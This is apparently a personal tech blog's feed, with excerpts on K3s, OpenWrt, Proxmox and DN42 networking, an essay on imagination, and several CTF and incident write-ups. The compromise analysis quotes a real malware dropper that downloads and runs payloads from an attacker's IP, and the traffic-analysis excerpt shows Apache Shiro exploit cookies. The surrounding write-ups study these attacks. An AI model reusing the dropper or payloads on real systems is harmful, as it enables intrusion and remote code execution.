iYoRoy's Develop Diary
type: channel
link: https://www.iyoroy.cn/en/
description: iYoRoy's Personal Site
items: Building a Cross-Region K3s Cluster from Scratch - Ep.1 Calico No-Encapsulation CNI
items: From Reflections on Imagination to Cognition, Creativity, and the Logic Tree
items: 2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
items: [Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF
items: PolarCTF 2025 Winter Competition Web Polarflag WriteUp
items: The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
items: An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding
items: 2025 Gujianshan Misc Fruit WriteUp
items: Configuring a Simple Multi-language Solution for Typecho
items: DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment

Building a Cross-Region K3s Cluster from Scratch - Ep.1 Calico No-Encapsulation CNI
type: item
date: 2026-04-05T13:43:00+00:00
description: # Preface I've actually wanted to play with a K8s cluster for a long time, but always felt that without sufficient knowledge, it would be too difficult to attempt. Recently, I spent some time studying DN42 and routing protocols like BGP and OSPF, and realized that it no longer feels so difficult. So I decisively started with K3s ( The main reason for choosing K3s over K8s is its lightweight nature: low resource requirements, no need to pull a bunch of images for deployment, availability of domestic mirrors… In short, K3s suits my needs better. I'm a beginner just starting to explore K3s, so please go easy on me if I make any mistakes~ # Analysis ## Choosing the CNI Component My current network architecture looks like this: ```mermaid graph TD subgraph ZeroTier Domestic subgraph WDS Gateway <--> VM1 Gateway <--> VM2 end NGB <--> Gateway HFE-NAS <--> Gateway NGB <--> HFE-NAS end subgraph IEPL Global-NIC <==OSPF==> CN-NIC end subgraph ZeroTier Global HKG02 <--> HKG04 TYO <--> HKG04 TYO <--> HKG02 end CN-NIC <--> NGB CN-NIC <--> HFE-NAS CN-NIC <--OSPF--> Gateway Global-NIC <--OSPF--> TYO Global-NIC <--OSPF--> HKG02 Global-NIC <--OSPF--> HKG04 %% Style definition: orange background, bold border to represent routers classDef router fill:#f96,stroke:#333,stroke-width:2px,font-weight:bold; class Global-NIC,CN-NIC,Gateway router; Among this, the WDS node is a Proxmox VE host with multiple VMs underneath. It advertises its VMs' IPv4 prefixes via OSPF. When Hong Kong nodes need to access a VM under the WDS node, they can do so by joining the OSPF internal network to achieve multi-hop reachability. This keeps the encapsulation layer count to only one, so there's no worry about MTU "disappearing act". I plan to create two new VMs under WDS to serve as the master and a node (temporarily called KubeMaster and KubeNode-WDS1). Then HKG04 (temporarily called KubeNode-HKG04) will also join the K3s cluster as a node. The simplest approach would be to use K3s's default Flannel as the CN…

From Reflections on Imagination to Cognition, Creativity, and the Logic Tree
type: item
date: 2026-03-20T02:29:00+00:00
description: Starting Point: Thoughts Sparked by a Debate Topic While scrolling through my social feed, I saw a friend post this: Keep thinking to keep your mind sharp. Today’s Debate: Does imagination increase with the level of cognitive development, or does it decrease? My initial thought was, "This definitely isn't the whole picture." Based on my own experience, when I'm genuinely interested in researching or learning something, I not only learn it quickly but can also apply and build upon it. Conversely, I find the knowledge taught in school uninteresting and feel no desire to apply or innovate with it. So, I came up with my first version of an answer: Personally, I think it depends on how one's cognitive level increases. If it's through forced learning, the content is passively received. People won't find it interesting or worth thinking about. In this case, it likely won't expand imagination. But if it's a spontaneous pursuit of knowledge, an increase in cognitive level won't extinguish curiosity about the unknown. In this scenario, a higher cognitive level allows imagination to delve deeper and become more logically coherent on this basis. Later, that friend replied, "So, rote education really stifles creativity and imagination," and I agreed. But was the discussion over...? The Thinking Phase First Deepening: Logical Coherence In my initial reply, I mentioned logical coherence. I didn't think much of it at the time, but upon reflection later, I realized this could well explain the skeleton of imagination: Imagination is the process of conducting logical deductions and envisioning possibilities based on existing knowledge, all within the current logical framework: As children, our wild fantasies stemmed from knowing very little. We could only make inferences and assumptions based on our limited understanding of everyday physics. They were logically coherent within that simple framework. As adults, with more knowledge, our fantasies transform into creation. This is also dr…

2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
type: item
date: 2026-03-15T12:20:00+00:00
description: Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... $$$cm9vdAo=$$$…

[Fun Experiment] A LAN Spanning 20km: Seamlessly Merging Remote Networks on OpenWrt Using ZeroTier + OSPF
type: item
date: 2026-02-10T15:36:00+00:00
description: Background I was originally setting up my own ZeroTier "big internal network". Because the network structure is relatively complex, I decided to use OSPF instead of static routes to configure internal routing. I had tried to configure ZeroTier on my home OpenWrt before but never succeeded. Recently, I took it out again to work on it and discovered it was a configuration issue with OpenWrt. After fixing it, I was chatting with a good friend and had an idea: Kagura iYoRoy: 02-10 14:49:05 Hey... Kagura iYoRoy: 02-10 14:49:06 Then... Kagura iYoRoy: 02-10 14:49:20 If you also set up OSPF on your router... Kagura iYoRoy: 02-10 14:49:27 Our two home networks would be directly interconnected, huh? ( Let's do it! Basic Information Local Side Router OS: OpenWrt, X-WRT 26.04_b202601250827 LAN IPv4 Prefix: 192.168.3.0/24 ISP: Hefei China Unicom NAT Environment: NAT1 Remote Side Router OS: OpenWrt, X-WRT 25.04_b202510240128 LAN IPv4 Prefix: 192.168.1.0/24 ISP: Hefei China Mobile NAT Environment: NAT1 Installing ZeroTier and Using a Self-Hosted Planet I used ZTNet as the self-hosted Controller. The setup process won't be elaborated here as you can find it online. The OpenWrt version I'm using has started using apk instead of opkg as the package manager. Use apk to install zerotier-one directly: apk add zerotier After completion, open /etc/config/zerotier to find the default configuration file. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of …

PolarCTF 2025 Winter Competition Web Polarflag WriteUp
type: item
date: 2025-12-06T23:55:00+00:00
description: Opening the webpage, you can see it is a login page: Attempting to scan with dirsearch yields: Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed Discover /flag.txt, access it: <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> Attempting to run it reveals a syntax error. Correct it: ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite: Brute-forcing reveals that when the password is 6666, it redirects to /polar.php: Access /polar.php, obtain: <?php error_reporting(0); session…

The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182
type: item
date: 2025-12-06T15:53:00+00:00
description: Background It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check: What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script. As a CTFer, it's hard to resist analyzing a sample delivered right to your doorstep, right? Analysis The Script The warning from Alibaba Cloud showed the execution of a shell script: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh I tried to manually download that python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http…

An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding
type: item
date: 2025-11-29T09:39:00+00:00
description: The reason was that I rented a physical server, but the IDC did not provide Proxmox VE or Debian system images, only Ubuntu, CentOS, and Windows series. Additionally, the data disk was provided via multipath iSCSI. I wanted to use PVE for isolating different usage scenarios, so I attempted to reinstall the system and migrate the aforementioned configurations. Backup Configuration First, perform a general check of the system, which reveals: The system has two Network Interfaces: enp24s0f0 is connected to a public IP address for external access; enp24s0f1 is connected to the private network address 192.168.128.153. The data disk is mapped to /dev/mapper/mpatha. Under /etc/iscsi, there are configurations for two iSCSI Nodes: 192.168.128.250:3260 and 192.168.128.252:3260, both corresponding to the same target iqn.2024-12.com.ceph:iscsi. It can be inferred that the data disk is mounted by configuring two iSCSI Nodes and then merging them into a single device using multipath. Check the system's network configuration: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[REDACTED]/24] routes: - to: default via: [REDACTED] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 It's found to be very simple static routing. The internal network interface doesn't even have a default route; just binding the IP is sufficient. Then, save the iSCSI configuration files from /etc/iscsi, which include account and password information. Reinstall Debian Used the bin456789/reinstall script for this reinstallation. Download the script: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ Reinstall as Debian 13 (Trixie): bash reinstall.sh debian 13 Then, enter the password you want to set as prompted. If all goes well, wait about 10 minutes, and it will automatically c…

2025 Gujianshan Misc Fruit WriteUp
type: item
date: 2025-11-29T06:02:00+00:00
description: Open the file using 010 Editor and find a ZIP header at the end: Extract it and open it to find no password, just a string of base64: [binary] Decode to get: 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 At the same time, it is found that there is still part of unrecognized data at the end of the exported zip: Based on the 1A 9E 97 BA 2A, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password shuiguo to extract a txt file: 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to 0-f respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: 666c61677b33653235393630613739646263363962363734636434656336376137326336327d. W…

Configuring a Simple Multi-language Solution for Typecho
type: item
date: 2025-11-19T14:10:00+00:00
description: I wanted to add internationalization support to my blog, providing a separate English version for each post and page. However, after searching online, I found that Typecho has poor support for i18n. Eventually, I designed my own solution and am documenting it here. This article assumes you have some basic understanding of PHP, Nginx, and Typecho's core logic. Analysis Requirements Need to provide both Chinese and English versions for each post and page. Need to configure a language switcher so users can easily switch languages on the frontend. Need search engines to correctly identify and index the multi-language versions of the content. Proposed Solution There are roughly two main schemes for distinguishing between Chinese and English content: Use a separate parameter, like accessing posts with /?lang=zh-CN and /?lang=en-US. However, this scheme is relatively difficult to implement and less friendly for search engine indexing. Distinguish via the URL path, e.g., https://<host>/article for the Chinese page and https://<host>/en/article for the English page. This is simpler to configure (essentially setting up two separate Typecho instances) and is more search engine friendly. The challenge is that comments and view counts need to be manually synchronized. After summarizing, I chose the second scheme and planned to implement multi-language support by creating a new Typecho instance directly under the /en/ path. Implementation Plan First, duplicate the blog instance into two copies: one for Chinese and one for English, then translate the English copy. Modify the frontend code to implement the language switcher. To ensure the article URLs between the two sites only differ by the /en prefix, the cid (content ID) for corresponding articles must be the same. Since cid is auto-incremented based on the order of creating posts and attachments, I plan to write a sync plugin. When a post is published on the Chinese site, it automatically inserts a corresponding article with th…

DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment
type: item
date: 2025-10-29T12:42:00+00:00
description: Backstory As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach. Structure Analysis This time, I planned to place both DN42 and clearnet BGP routes into the system's main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the clearnet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance. After multiple optimizations and revisions, my final directory structure is as follows: /etc/bird/ ├─envvars ├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below ├─kernel.conf: Kernel config, imports routes into the system routing table ├─dn42 | ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net() | ├─ibgp.conf: DN42 iBGP template | ├─rpki.conf: DN42 RPKI route validation | ├─ospf.conf: DN42 OSPF internal network | ├─static.conf: DN42 static routes | ├─ebgp.conf: DN42 Peer template | ├─ibgp | | └<ibgp configs>: DN42 iBGP configs for each node | ├─ospf | | └backbone.conf: OSPF area | ├─peers | | └<ibgp configs>: DN42 Peer configs for each node ├─inet | ├─peer.conf: Clearnet Peer | ├─ixp.conf: Clearnet IXP connection | ├─defs.conf: Clearnet function definitions, e.g., is_self_inet_v6() | ├─upstream.conf: Clearnet upstream | └static.conf: Clearnet static routes I separated the function definitions because I needed to reference them in the filters within kernel.conf, so I isolated them for early inclusion. Af…